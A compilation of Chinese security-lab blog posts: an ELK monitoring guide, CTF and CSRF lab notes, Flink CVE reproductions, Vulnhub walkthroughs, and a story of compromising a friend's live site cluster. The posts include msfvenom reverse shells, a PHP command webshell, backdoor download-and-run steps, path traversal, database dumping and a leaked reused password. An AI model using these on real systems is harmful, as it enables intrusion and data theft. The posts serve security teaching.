威胁狩猎:基于ELK的日志监控
https://www.yijinglab.com/expc.do?ec=5e8b5d22-88eb-4061-a07f-80bd791f0b8d (通过本实验的学习,你能够了解主机安全软件监控原理,学会如何利用主机安全软件狙剑监控可疑进程,学会如何利用狙剑软件对本机进行注册表和文件的管理。) 0x、概述! ELK Stack即以前的Elastic Stack,Elk Stack是Elastic公司专门为集中化日志管理设计的免费开源软件组合。它允许搜索、分析和可视化来自不同来源的日志。 如在ubuntu上安装配置ELK Stack,需要如下先决条件: Ubuntu 20.04 最好使用Root 权限进行配置 0x1 内容目录 ELK Stack 组成部分 安装 Java 和所有依赖项 安装和配置 Elasticsearch 安装和配置 Logstash 安装和配置 Kibana 安装和配置 Nginx 安装和配置 Filebeat 配置 Linux 日志到 Elasticsearch 在Kibana中创建日志仪表板 监控 SSH 事件   0x2 ELK Stack 组成 1、Elasticsearch:Elasticsearch是一个基于Apache Lucene(TM)的开源搜索引擎,使用RESTful API,可以存储、检索数据。 2、Logstash:Logstash是一个开源的数据收集引擎,可以采集不同数据源的数据发送给Elasticsearch 3、Kibana:用于分析和可视化日志的 Web可视化平台 4、Filebeat:轻量级的日志收集和转发器,可以把数据收集后转发到Logstash或Elasticsearch 0x3 安装 Java 和所有依赖项 Elasticsearch是Java编写的程序,所以需要安装JDK,可以使用如下命令安装OpenJDK和其他一些所需的软件包。 sudo apt install -y openjdk-14-jdk wget apt-transport-https curl 然后导入Elasticsearch的公钥,添加apt软件源 wget -qO - https://artifacts.elastic.co/GPG-KEY-elasticsearch | sudo apt-key add - 添加软件源 0x4 安装和配置Elasticsearch 更新软件源 sudo apt update 然后安装(国内安装比较慢,请耐心等待) sudo apt-get install elasticsearch 安装完后,开始配置Elasticsearch Elasticsearh默认监听9200端口。为了安全,需要设置一下限制外网访问。使外部网络无法通过REST API访问数据和elastic集群。Elasticsearch的配置文件是elasticsearch.yml。修改它就行。 打开配置文件 sudo gedit /etc/elasticsearch/elasticsearch.yml 找到监听接口和端口进行修改 删掉前面的注释符号#改成如下的样子: 保存,然后启动Elasticsearch服务 sudo systemctl start elasticsearch 查看服务状态和验证是否已经启动 sudo systemctl status elasticsearch curl -X GET localhost:9200 看到这个,就说明Elasticsearch启动成功了。 你也可以在浏览器里面访问https://localhost:9200查看 0x5 安装和配置Logstash 首先确保系统里面有openssl,然后安装Logstash openssl version -a sudo apt install logstash -y 创建一个SSL证书用于保证Rsyslog 和Filebeat传输数据给Logstash时的安全性。 在Logstash的配置文件目录下创建一个ssl的目录,然后生成证书 sudo mkdir -p /etc/logstash/ssl cd /etc/logstash sudo openssl req -subj '/CN=elkmaster/' -x509 -days 3650 -batch -nodes -newkey rsa:2048 -keyout ssl/logstash-forwarder.key -out ssl/logstash-forwarder.crt 为了方便后续配置,我们可以修改一下/etc/hosts文件。把主机的ip配置一个主机名 然后我们需要配置三个文件,分别是用于从filebeat接收数据的filebeat-input.conf,用于过滤系统日志的过滤器配置文件syslog-filter.conf,以及用于输出数据到elasticsearch的output-elasticsearch.conf。 在logstash配置目录创建filebeat-input.conf文件 cd /etc/logstash/ sudo gedit conf.d/filebeat-input.conf 添加如下内容: input { beats { port => 5443 type => syslog ssl => true ssl_certificate => "/etc/logstash/ssl/logstash-forwarder.crt" ssl_key => "/etc/logstash/ssl/logstash-forwarder.key" } } 然后创建过滤器配置文件syslog-filter.conf并采用grok过滤器,这个的作用就是让Logstash根据给出的规则提取数据。 sudo gedit conf.d/syslog-filter.conf 输入如下内容: filter { if [type] == "syslog" { grok { match => { "message" => "%{SYSLOGTIMESTAMP:syslog_timestamp} %{SYSLOGHOST:syslog_hostname} %{DATA:syslog_program}(?:\[%{POSINT:syslog_pid}\])?: %{GREEDYDATA:syslog_message}" } add_field => [ "received_at", "%{@timestamp}" ] add_field => [ "received_from", "%{h 然后创建一个output-elasticsearch.conf配置文件用于将数据传输给elasticsearch。 sudo gedit conf.d/output-elasticsearch.conf 内容如下: output {   elasticsearch { hosts => ["localhost:9200"]     hosts => "localhost:9200"     manage_template => false     index => "%{[@metadata][beat]}-%{+YYYY.MM.dd}"     document_type => "%{[@metadata][type]}"   } } 配置文件弄好之后,启动logstash服务看是否正常。 sudo systemctl start logstash sudo systemctl status logstash 没有报错,说明服务正常启动了。 0x6 安装和配置Kibana 安装Kibana也是通过apt即可完成 sudo apt install kibana 安装完成之后,我们设置一下kibana的配置文件 sudo gedit /etc/kibana/kibana.yml 主要是修改监听端口和地址,以及elasticsearch的地址 保存,然后启动kibana服务 然后你可以直接在浏览器中访问它 0x7 安装和配置Nginx 安装这个主要是给Kibana做反向代理的。 首先安装Nginx和Apache2-utlis sudo apt install nginx apache2-utils -y 安装完成之后,创建kibana虚拟主机配置文件 sudo gedit /etc/nginx/sites-available/kibana 内容如下: server { listen 80; server_name localhost; auth_basic "Restricted Access"; auth_basic_user_file /etc/nginx/.kibana-user; location / { proxy_pass https://localhost:5601; proxy_http_version 1.1; proxy_set_header Upgrade $http_upgrade; proxy_set_header Connection 'upgrade'; proxy_set_header Host $host; 给配置文件创建一个连接 sudo ln -s /etc/nginx/sites-available/kibana /etc/nginx/sites-enabled/  然后给访问Kibana Dashboard配置一个基础身份认证 sudo htpasswd -c /etc/nginx/.kibana-user elastic 然后测试Nginx配置文件并启动服务 sudo nginx -t sudo systemctl restart nginx 0x8 安装和配置Filebeat 下载filebeat然后安装 下载地址:https://www.elastic.co/cn/downloads/beats/filebeat 可以按照自己的需求进行下载 我们这里是安装在Ubuntu上,所以选择DEB版本下载。当然也可以直接用apt安装,前提是你在之前添加了Elastic的软件源。可以看官方指南进行添加软件源:https://www.elastic.co/guide/en/beats/filebeat/7.10/setup-repositories.html#_apt sudo apt install filebeat -y 然后编辑filebeat的配置,配置文件的路径: /etc/filebeat/filebeat.yml 首先把input部分改为true 然后修改Elasticsearch output部分 修改成如下配置:(根据你的实际情况进行设置) 修改Kibana配置部分: 修改完后保存。 然后初始化filebeat sudo filebeat setup 复制之前生成的logstash-forwarder.crt证书到/etc/filebeat目录中 sudo cp /etc/logstash/ssl/logstash-forwarder.crt /etc/filebeat/  然后启动filebeat服务 sudo systemctl start filebeat 0x9 配置 Linux 日志到 Elasticsearch 配置rsyslog到Logstash,然后这些日志会自动传输到Elasticsearch 在配置日志到Logstash之前,我们首先需要配置Logstash到Elasticsearch之间的日志转发。 在/etc/logstash/conf.d目录下创建一个配置文件来设置到Elasticsearch之间的日志转发。 cd /etc/logstash/conf.d/ sudo gedit logstash.conf 配置文件的内容如下: input {   udp {     host => "127.0.0.1"     port => 10514     codec => "json"     type => "rsyslog"   } }                                                                                            # The Filter pipeline stays empty here, no formatting is done. filter { }                         # Eve 配置文件主要由三部分组成,input部分:定义日志从哪儿来,filter部分:日志过滤器,output部分:日志传输到什么地址。 然后我们重启一下logstash服务 sudo systemctl restart logstash 然后配置从rsyslog到Logstash日志转发,rsyslog可以使用模板转换日志然后进行转发。 为了让 rsyslog 转发日志,需要在/etc/rsylog.d目录中创建一个70-output.conf的配置文件。 cd /etc/rsyslog.d/ sudo gedit 70-output.conf 添加如下内容: *.*                         @127.0.0.1:10514;json-template 意思是所有日志发送到127.0.0.1:10514并使用json格式的模板进行转换 我们需要创建一个json格式的模板文件 sudo gedit 01-json-template.conf 内容如下: template(name="json-template"   type="list") {     constant(value="{")       constant(value="\"@timestamp\":\"")     property(name="timereported" dateFormat="rfc3339")       constant(value="\",\"@version\":\"1")       constant(value="\",\"message\":\"")     property(name="msg" format="json")       c  然后启动rsyslog服务 sudo systemctl start rsyslog 检查logstash监听端口是否正常: ss -na | grep 10514 如果监听没成功,并且在日志中看到以下报错信息: 是因为配置文件里面存在语法错误,ELK软件对配置文件的语法要求比较严格,请仔细检查。 0x10 在Kibana中创建日志仪表板 在浏览器中打开Kibana界面 首先需要创建一个索引模式 然后找到Stack Management---Kibana中的Index Patterns 然后点击Create index pattern 输入logstash-*,然后点击Next step 然后时间过滤器我们选择@timestamp 然后点击Create index pattern 添加成功后是这样的: 点击回到Kibana的Discover中,在这里可以查询搜索你的数据 0x11 监控 SSH 事件 在过滤条件中,我们设置过滤条件为programename:sshd* 这样就可以看到sshd程序相关事件了。 0x12 更多参考资料 配置 SSL、TLS 以及 HTTPS 来确保 Elasticsearch、Kibana、Beats 和 Logstash 的安全 | Elastic Blog https://www.elastic.co/cn/blog/configuring-ssl-tls-and-https-to-secure-elasticsearch-kibana-beats-and-logstash 如何使用 Elastic Stack 监测 Nginx Web 服务器 | Elastic Blog https://www.elastic.co/cn/blog/how-to-monitor-nginx-web-servers-with-the-elastic-stack
简单的CTF-从JS中获取flag
本文是一篇从蚁景网安实验室进行实验操作的笔记,一次非常简单地从JS中获取到flag的操作。 实验地址:https://www.yijinglab.com/expc.do?w=exp_ass&ec=ECID9d6c0ca797abec2016092313300000001& 1.   进入题目页(10.1.1.219:20123)看到一段话,还有一句很明显的提示语句“The evil url is the passkey”,翻译出来就是损坏的url就是flag。下面的英文有兴趣的也可以解读一下,对于解题没什么用,别问我怎么知道的。 页面没什么其他有用的信息了,我们直接看一下源码,看有没有什么发现。在页面源代码中发现了一段可疑的js代码 对代码进行解读,可以知道,这段代码的功能是对页面写入内容,这个内容由变量P表示,P的内容是多个ascii码,我们可以自己翻译,看这些ascii码的内容是什么,也可以直接在浏览器的console中进行运行,得到新的页面。 打开浏览器,访问题目页面,按f12打开开发者工具,我们将js代码粘贴到console中,回车进行运行,发现运行错误,这应该就是损坏的,将中间的空行等处理一下之后运行发现获得了一个新的页面。 然后会发现页面变成了空白,但是还是有一点不引人注意的地方: 翻看页面源代码,发现了一个隐藏的php页面:   我们访问这个php页面,发现有一个变量名为flag:       但是查看页面源代码中,并没有flag的内容,查看请求头部时,发现cookie中存在flag 接下来把这个flag提交到实验的答题中,这个实验就完成了,也是一次非常简单的获取flag。
Web安全-CSRF攻击实验
本实验以PHP和Mysql为环境,展示了CSRF攻击的原理和攻击过程。通过实验结果结合对攻击代码的分析,可更直观清晰地认识到Web安全里这种常见的攻击方式。 实验地址:https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182015070816562700001 实验简介 实验所属系列:web攻防 实验对象:本科/专科信息安全专业 实验类别:实践实验类 预备知识 一、浏览器有关Cookie的设计缺陷 当前主流的Web应用都是采用Cookie方式来保存会话状态,但是浏览器在引入Cookie时却忽视了一项非常重要的安全因素,即从WEB页面产生的文件请求都会带上COOKIE。只要请求域与Cookie信息所指定的域相一致,无论是访问Web页面,还是请求图片,文本等资源,用户在发出请求时都会带上Cookie。下图抓包展示了我们在访问百度主页时所附带发送的Cookie信息。 Cookie的这一特性使得用户始终以登录的身份访问网站提供了便利,但同时,也方便了攻击者盗用身份信息执行恶意行为。 二、什么是CSRF CSRF(Cross-site request forgery)跨站请求伪造,也被称为“one click attack”或者session riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。CSRF通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。 用户登录并访问了一正常网站,登录成功后,网站返回用户的身份标识Cookie给用户。当用户访问到恶意网站时,恶意网站强制用户去向正常网站发送恶意请求。由于用户此时拥有正常网站的Cookie,所以就相当于攻击者盗用了用户身份,去访问了正常(目标)网站。 一次完整的CSRF攻击,需要受害用户需要完成两个步骤: 1.登录正常网站,并在本地生成Cookie。 2.在不退出正常网站的情况下,访问恶意网站。 三、HTTP GET和POST请求区别解析 URL全称是资源描述符,我们可以这样认为:一个URL地址,它用于描述一个网络上的资源,而HTTP中的GET,POST,PUT,DELETE就对应着对这个资源的查,改,增,删4个操作。GET一般用于获取/查询资源信息,而POST一般用于更新资源信息。 Get 方法通过 URL 请求来传递用户的数据,将表单内各字段名称与其内容,以成对的字符串连接,置于URL 后,如 http://www.xxx.com/index.php?username=liming&password=123456&数据都会直接显示在 URL 上,就像用户点击一个链接一样。 Post 方法通过 HTTP Post 机制,将表单内各字段名称与其内容放置在 HTML 表头(header)内一起传送给服务器端。 GET与POST方法实例: GET /127.0.0.1?username=liming&password=123456 HTTP/1.1 Host: http://www.xxx.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.6) Gecko/20050225 Firefox/1.0.1 Connection: Keep-Alive POST / HTTP/1.1 Host: http://www.xxx.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.6) Gecko/20050225 Firefox/1.0.1 Content-Type: application/x-www-form-urlencoded Content-Length: 40 Connection: Keep-Alive (----此处空一行----) username=liming&password=123456 实验目的 1)了解Cookie在设计方面存在的缺陷 2)掌握CSRF攻击的原理 3)掌握Get和Post形式CSRF攻击脚本的写法 实验环境 两台Windows XP机器(分别安装有XAMPP集成部署环境),两台机器网络连通 一台机器部署正常网站(留言板)10.1.1.189 一台机器部署恶意网站  10.1.1.23 部署正常网站的主机环境中有Chrome浏览器(或其他方便抓包分析的浏览器或工具)
从弱口令到拿下站群服务器
声明:本文仅限于技术讨论与分享,严禁用于非法途径。若读者因此作出任何危害网络安全行为后果自负,与本号及原作者无关。 本文涉及知识点实操练习:https://www.yijinglab.com/expc.do?ec=ECIDfaf3-05da-4d49-9e11-72953b14f22c   (通过DoraBox靶场系列闯关练习,了解文件上传漏洞的基础知识及如何进行绕过上传恶意文件。) 一、 前两天我一个朋友给我发来一个链接,说他做的站准备上线,问我能不能做下测试,既然是朋友,那肯定义不容辞,准备开始搞事情。 二、 1、先打开网站浏览一下,发现直接跳转到了登录页面,如下: 简单了尝试了下弱口令、万能密码和登录框xss,发现输入框对输入内容做了严格的过滤,非法字符一概不允许,果断放弃。 2、简单扫描了一下敏感目录,发现一个/adminx,果然这种开放注册的站都会给管理员提供一个专门的登录入口 (忽略这个 1.zip,那是我打包整站时留下的 尝试爆破,弱口令一波带走,进入后台,赶紧把喜讯报告给朋友,让他“惊喜”一下 3、寻找上传点 进到后台之后寻找上传点,发现系统设置处有修改站点logo的功能,先传个php小马试试水 我当场就惊了,你后台登录框过滤那么严格结果你这上传点就这就这??好歹做个本地校验啊,你让burpsuite面子往哪搁? 4、连接shell尝试提权 传了马之后使用蚁剑连接,首先就是查看服务器信息,这里有个小插曲,打开虚拟终端之后无论执行什么命令,返回结果都是 ret=127 应该是服务器上有什么安全软件做了过滤,使用蚁剑自带的插件进行bypass 成功绕过 不过蚁剑的这个绕过连接不太稳定,而且速度也很慢,于是琢磨着建立一个meterpreter会话尝试提权。 5、建立meterpreter 会话 在云服务器上使用msfvenom 生成一个后门: msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=服务器ip LPORT=监听端口 -f elf > shell.elf 然后在服务器设置一个监听会话: use exploit/multi/handler set payload linux/x86/meterpreter/reverse_tcp set LHOST 服务器ip set LPORT 监听端口 run 在服务器上使用python建立一个简单的http服务: python3 -m http.server 在目标主机使用wget下载后门文件并执行,成功获取meterpreter 会话 6、尝试提权受阻 由于目标服务器运行的是 CentOS 8.0,内核版本为 Linux 4.18.0,且我获取到的仅为一个低权限的shell,想要实现提权是很难的,在明知肯定失败的情况下我还是尝试了脏牛等所有的我手上能用的提权exp,均宣告失败,也是意料之中的事。 7、柳暗花明又一村 提权无果之后,我开始翻动服务器上的各种文件,然后发现了不得了的线索,乖乖这是个站群啊 然后我从每个站的配置文件中都得到了他们对应的数据库以及数据库账号密码,看样子应该是随机生成的,不像是会用作root用户密码的通用密码,如下图: 于是我上传了一个脱裤马,获取到了所有的数据库sql文件,尝试访问所有的数据,以寻求一个可能的通用密码,没想到还真让我找到了,在几个采集站和发卡站的库中,我找到了如下相同的md5值: md5解密后结果为:vip886.A 尝试ssh连接服务器,成功 至此渗透结束。 8、总结 此次渗透没什么技术含量,但是足以显示出弱口令以及通用密码对于安全的危害有多大,另外上传功能的处理也是很重要的,一丁点防护都没有的上传点我是真头一回见。 漏洞报告已经交给我朋友啦,没想到还有小钱钱拿,开心。
找到一个可利用的SQL注入
渗透测试是非常有创意而且有挑战的事,既需要一些基础知识的积累,也需要一些创意和Hacker思考方式,只要你对网络安全技术充满了兴趣,甚至可以从0基础学习。 我该如何入手学习? 了解渗透测试的体系轮廓是第一步,从全景上认识这门技术,所谓全景,就是在埋头苦学之前,先搞清楚整个知识体系的框架结构。否则如盲人摸象,连门在哪都不知道,自然无法入门。一般的学习路径是:了解轮廓——工具+靶机——专项漏洞训练——开发工具、加强实战。 工具哪里找? 在一个实用的工具包里尽可能多的包含渗透和审计工具。Kali 实现了这个目标,大多数做安全测试的开源工具都被囊括在内。 它包含数百种渗透测试工具 免费使用 多语言 专项漏洞训练-SQL注入: 1.寻求更好的防御操作, 2.突破sql注入难点, 3.为数据库安全保驾护航。 专项漏洞训练-文件上传: 目前为止文件上传漏洞还是存在的,在进行一般的渗透测试中,找到上传点后绕过上传限制,将恶意脚本文件上传之后进行控制,拿下Webshell。 送给大家几句话: 想要了解某个技术,请阅读一些相关文档; 想要明白某个技术,请尝试实践这些技术; 想要悟透某个技术,请尝试向他人讲解此技术。 课程安排: 1月18日15:00  Vm安装Kali环境 1月19日15:00  Sql注入 1月20日20:00  文件上传
Apache Flink漏洞复现
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/mobile/actReg.html>> 简介 Apache Flink 是高效和分布式的通用数据处理平台,由Apache软件基金会开发的开源流处理框架,其核心是用Java和Scala编写的分布式流数据流引擎(简单来说,就是跟spark类似)。Flink 具有监控 API,可用于查询"正在运行的jobs" 和 "最近完成的jobs" 的状态和统计信息。该监控 API 被用于 Flink 自己的dashboard,同时也可用于自定义监控工具,默认监听在8081端口。 本文涉及知识点实操练习:https://www.yijinglab.com/cour.do?w=1&c=C172.19.104.182015010409302300001 (“网络安全事件”这门课程是由一些影响比较大的安全事件所模拟的测试环境组成。此课程不仅会添加以往的安全事件,而且还会紧跟时事,去添加最新的安全事件。让大家在第一时间了解,并懂得怎么去保护自身安全为目的。) 该监控 API 是 REST-ful API, 即接受 HTTP请求,并响应JSON格式的数据。 监控 API 中有一个API是 /jars/upload,其作用是将一个jar上传到集群。该jar必须作为多部分数据发送。确保“ Content-Type”标头设置为“ application / x-java-archive”,因为某些http库默认情况下不添加标头。可以通过curl上传jar文件 'curl -X POST -H "Expect:" -F "jarfile=@path/to/flink-job.jar" http://hostname:port/jars/upload' 概述 Flink 1.5.1引入了REST API,但其实现上存在多处缺陷,导致任意文件读取(CVE-2020-17519)和任意文件写入(CVE-2020-17518)漏洞。 CVE-2020-17518攻击者利用REST API,可以修改HTTP头,将上传的文件写入到本地文件系统上的任意位置(Flink 1.5.1进程能访问到的)。 CVE-2020-17519Apache Flink 1.11.0 允许攻击者通过JobManager进程的REST API读取JobManager本地文件系统上的任何文件(JobManager进程能访问到的)。 影响版本 CVE-2020-17518 Apache:Apache Flink: 1.5.1 - 1.11.2  CVE-2020-17519 Apache:Apache Flink: 1.11.0, 1.11.1, 1.11.2  环境搭建 因为受到两个漏洞影响的版本都包含了1.11.2,所以统一使用这个版本进行复现 此处利用vulhub的环境进行复现,新建docker-compose.yml version: '2' services:  flink:    image: vulhub/flink:1.11.2    command: jobmanager    ports:     - "8081:8081"     - "6123:6123" 使用docker-compose启动该环境,执行以下命令会下载镜像并以此镜像启动一个容器,映射的端口为8081和6123 docker-compose up -d 访问http://ip:8081 漏洞复现 任意文件上传(CVE-2020-17518)复现: Apache Flink 1.5.1引入了REST处理程序,该处理程序允许通过经过恶意修改的HTTP HEADER将上传的文件写入本地文件系统上的任意位置。 访问http://ip:8081,找到Submit New Job的Add New上传一个jar包,jar包可以在桌面新建一个压缩文件,将zip后缀修改为jar即可,然后抓包  抓到的请求包如下: 将请求包发送到repeater模块进行修改,比如我这里是在/tmp目录下新建一个文件,../是为了方便切换路径,因为我们不知到当前的路径是什么,所以可以使用../切换到根目录。 查看文件是否上传成功 docker ps查看容器 进入容器 docker exec -it CONTAINER ID /bin/bash 可以看到文件成功上传 flink 本身是没有鉴权的,并且它本身支持任意jar包上传并执行,所以可以通过上传jar包getshell 生成jar格式的马 lhost为kali的ip,lport为kali接收shell的端口 msfvenom -p java/shell_reverse_tcp lhost=192.168.74.142 lport=1234 -f jar >/home/a.jar 启动msf接收shell msfconsole use exploit/multi/handler set payload java/shell_reverse_tcp set LHOST 192.168.74.142 set LPORT 1234 exploit 将jar包上传后点击上传的包然后Submit 获取到shell 任意文件读取(CVE-2020-17519)复现: Apache Flink 1.11.0中引入的更改(以及1.11.1和1.11.2中也发布)允许攻击者通过JobManager进程的REST接口读取JobManager本地文件系统上的任何文件。访问仅限于JobManager进程可访问的文件。 比如我这里读取/etc/下的passwd文件,%252f为/的两次url编码 192.168.74.134:8081/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd  漏洞修复 官方已发布安全版本,请及时下载升级至安全版本。 https://flink.apache.org/zh/downloads.html 参考链接 https://github.com/vulhub/vulhub/tree/master/flinkhttps://www.anquanke.com/post/id/227668 如果看完这一篇还不过瘾的话可以去实验室做实验继续学习哦。
Five86-2靶机渗透实战
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/mobile/actReg.html>> 靶机地址:http://www.vulnhub.com/entry/five86-2,418/ 本文涉及知识点实操练习:https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182014112610341500001相关实验:https://www.yijinglab.com/expc.do?ec=ECIDdb58-4b9d-427b-b7b3-8382c7e0a7f5  (Node 1.0 是一个难度为中等的Boot2root/CTF挑战,靶场环境最初由 HackTheBox 创建,实验目的是获取两个flag) 技术点总结 • 对WordPress网站的渗透 – https://www.freebuf.com/sectool/174663.html • WordPress中IEAC插件的RCE漏洞 – https://www.freebuf.com/vuls/205735.html • tcpdump的使用 – https://www.cnblogs.com/lvdongjie/p/10911564.html 目标发现 nmap -sP 参数使用 ping 扫描局域网主机,目的地址为 192.168.56.6 nmap -A 192.168.56.6 -p- 可以看到目标主机的一些信息,-A 是进行操作系统指纹和版本检测,-p- 是全端口 开放了 22、21、80 端口,并且 80 端口是WordPress 5.1.4的CMS 这里最好提前在/etc/hosts中加上192.168.56.6 five86-2这一条,因为后面访问wordpress的后台wp-admin时会跳转到到这个域名 漏洞发现与利用 在searchsploit和Google并没有发现WordPress 5.1.4的漏洞,可以用wpscan扫描一下这个URL。wpscan是一款针对WordPress的扫描器,详细的使用可以参考https://www.freebuf.com/sectool/174663.html。 默认扫描会返回目标站点的中间件、XML-RPC、readme文件、上传路径、WP-Corn、版本、主题、所有的插件和备份文件。 命令wpscan -u http://192.168.56.6/ 这里并没有发现很有用的信息,考虑去枚举用户名,然后配合rockyou.txt去爆破密码。爆破用户名命令wpscan --url http://192.168.56.6/ --enumerate u,发现了5个用户 peteradminbarneygillianstephen 爆破密码命令wpscan --url http://192.168.56.6/ -U user.txt -P /usr/share/wordlists/rockyou.txt 最终爆破出来两个结果 Username: barney, Password: spooky1Username: stephen, Password: apollo1 使用barney登录后台http://five86-2/wp-admin/,可以看到这个站点安装了三个插件,但是只激活了一个Insert or Embed Articulate Content into WordPress Trial(IEAC) Akismet Anti-Spam Version 4.1.1Hello Dolly Version 1.7.1IEAC Version 4.2995 在谷歌上搜索一下,不难搜到这个插件的RCE:https://www.freebuf.com/vuls/205735.html,在https://www.exploit-db.com/exploits/46981上也有 先生成poc.zip, echo "hello" > index.htmlecho "<?php echo system($_GET['cmd']); ?>" > index.phpzip poc.zip index.html index.php 然后登录wordpress后台,选择新建文章 选择添加区块 选择E-Learning 上传poc.zip 选择Insert As iFrame 可以看到上传的位置,也就是说上次的shell位置为http://192.168.56.6/wp-content/uploads/articulate_uploads/poc/index.php 测试shellhttp://192.168.56.6/wp-content/uploads/articulate_uploads/poc/index.php?cmd=whoami这就拿到了shell 使用php-reverse-shell去反弹shell,访问http://192.168.56.6/wp-content/uploads/articulate_uploads/poc4/shell.php就可以看到反弹的shell,还不是TTY,接下来就想办法变成TTY吧 ls /home发现有8个目录,刚刚爆破来两个密码,一个登陆了后台,还有一个没有测试,并且两个都在这8个用户里面。可以先试试su barney,密码填spooky1,发现失败,再试试stephen,密码apollo1。这里的shell不知道为什么没有前面的$了,但是可以用 实际上,这里的www-data可以直接使用python3 -c 'import pty;pty.spawn("/bin/bash")'变成TTY,这样可能更方便一些 然后再sudo -l发现需要密码,并且不是spooky1,所以还是su stephen吧,发现stephen在一个名为pcap的用户组中(pcap不是流量包吗^_^) 然后sudo -l发现无法执行sudo 回到pcap那里,流量包是不是意味着流量分析,尝试ifconfig发现没有这个命令,但是可以使用ip add,发现目前运行着几个网络接口 这里的最后一个接口好像是动态的,每次都不一样,可以使用tcpdump -D列出可用于抓包的接口。这里选择把后面两个抓下来,因为不怎么常见。抓包命令为timeout 120 tcpdump -w 1.pcap -i veth2c37c59,其中timeout 120是指2分钟,-w是将结果输出到文件,-i是指定监听端口 可以去分析一下这两个流量包,命令tcpdump -r 1.pcap,这里-r是从给定的流量包读取数据,不难发现paul用户FTP的密码esomepasswford。后面2.pcap与1.pcap内容相同。 接着su paul,用上面的那个密码发现可以登陆。尝试sudo -l发现stephen可以使用peter的service命令 那不就可以直接执行peter的/bin/bash了吗。命令sudo -u peter service /bin/bash。这里要注意一下目录的问题,用相对目录找到/bin/bash的位置 获取peter的权限后,还是先sudo -l,发现他可以运行root用户的passwd命令,这我直接修改root的密码不就获取root权限了吗 是时候表演真正的技术了。sudo -u root passwd root(强迫症,全文一致),用sudo passwd root一样的 找到flag 如果看完这一篇还不过瘾的话可以去实验室做实验继续学习哦。
Five86-1靶机渗透实战
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/mobile/actReg.html>> 靶机地址:http://www.vulnhub.com/entry/five86-1,417/ 相关实验:https://www.yijinglab.com/expc.do?ec=ECIDdb58-4b9d-427b-b7b3-8382c7e0a7f5  (Node 1.0 是一个难度为中等的Boot2root/CTF挑战,靶场环境最初由 HackTheBox 创建,实验目的是获取两个flag) 技术点 opennetadmin v18.1.1RCE searchsploit github搜索exp 破解Linux中经过HASH加密的密码 crunch生成字典 john和hashcat破解密码 hash-identifier查看HASH类型 SSH免密登陆 公钥复制为authorized_keys Linux查看当前用户权限可读文件和可执行命令 查看当前用户权限可读文件find / -type f -user www-data 可执行命令sudo -l 目标发现 nmap -sP 参数使用 ping 扫描局域网主机,目的地址为 192.168.56.5 nmap -sS -A -v 192.168.56.5 看一下详细的扫描结果 -sS 是半开放扫描,-A 是进行操作系统指纹和版本检测,-v 输出详细情况 可以看到开放了 22、80、10000 三个端口,并且 80 端口存在 robots.txt 和路径 /ona 漏洞发现与利用 访问192.168.56.5是个空白页面,然后去访问 /ona,可以看到是 opennetadmin 的管理页面,并且版本是 18.1.1 v18.1.1的opennetadmin是存在RCE漏洞的,在github找个exp打过去就可以,github.com/amriunix/ona-rce  或者是使用 searchsploit ,不过这里有个坑点,就是要对这个bash脚本进行转换格式,否则会报错,使用dos2unix 47691.sh这个命令,而且这里的shell不能转成TTY 下面的问题就是如何进行提权了,经过一番测试,发现这里无法执行的命令是没有回显的,并且不能执行cd命令,但是可以使用ls和cat命令  这里肯定是有权限控制的,可以使用find / -type f -user www-data命令查看这个用户可以读取的文件,除了/proc 就是/var/www/html/reports/.htaccess和/var/log/ona.log 读取var/www/html/reports/.htaccess可以找到AuthUserFile的路径/var/www/.htpasswd 读取这个文件如下,可以得到用户名douglas和HASH的密码$apr1$9fgG/hiM$BtsL9qpNHUlylaLxk81qY1,给的提示是只包含aefhrt的十个字符 douglas:$apr1$9fgG/hiM$BtsL9qpNHUlylaLxk81qY1 # To make things slightly less painful (a standard dictionary will likely fail), # use the following character set for this 10 character password: aefhrt 先用hash-identifier看一下是哪个HASH,结果 hash -type : [+] MD5(APR) 然后使用crunch生成对应的字典,命令格式crunch <min-len> <max-len> [charset string] [options],这里生成只包含aefhrt的10个字符,就可以使用如下命令crunch 10 10 aefhrt -o pass.txt,更多的介绍可以看https://www.freebuf.com/sectool/170817.html和https://blog.csdn.net/qq_42025840/article/details/81125584 最后就要用大名鼎鼎的hashcat去破解这个HASH,命令格式hashcat [options]... hash|hashfile|hccapxfile [dictionary|mask|directory]...,这里使用的命令为hashcat -m 1600 -a 0 -o res hash.txt pass.txt -m是HASH类别,-a是攻击方式,-o是输出结果,更多的参数可以参考https://www.freebuf.com/sectool/164507.html。这里在kali里面运行一直报错,就转移到wsl2里面了,命令hashcat -m 1600 -a 0 -o res hash.txt pass.txt --force 最终密码为 fatherrrrr 或者这里也可以使用john来进行破解john --wordlist=pass.txt hash.txt,但是速度可能有丶问题 使用ssh连接ssh douglas@192.168.56.5 这里是个TTY,但还是存在权限控制,使用sudo -l看一下可以使用什么命令,结果是(jen) NOPASSWD: /bin/cp,这里就有点奇怪了,douglas可以用jen的身份运行cp命令 先去访问一下home目录,发现douglas和jen这两个用户,但是只能用jen的cp命令,且没有jen的密码 值得注意的是,如果jen用户下的/home/jen/.ssh/authorized_keys包含douglas的公钥,那就可以用douglas的id_rsa文件登陆jen的ssh,也即免密登陆jen的ssh。这里复制到/tmp目录下是因为jen没有权限访问douglas目录下的文件 cp .ssh/id_rsa.pub /tmp/authorized_keys chmod 777 /tmp/authorized_keys sudo -u jen /bin/cp /tmp/authorized_keys /home/jen/.ssh/ 然后用ssh连接ssh -i id_rsa jen@127.0.0.1 成功登陆jen,看到提示mail,还是先执行echo $(find / -type f -user jen) > 1.txt 看一下,有一个/var/mail/jen的文件可以读取 或者这里直接输入mail的命令也可以看到 读取一下,其内容如下 关键词:change Moss's password、his password is now Fire!Fire! 接着ssh连接moss用户ssh 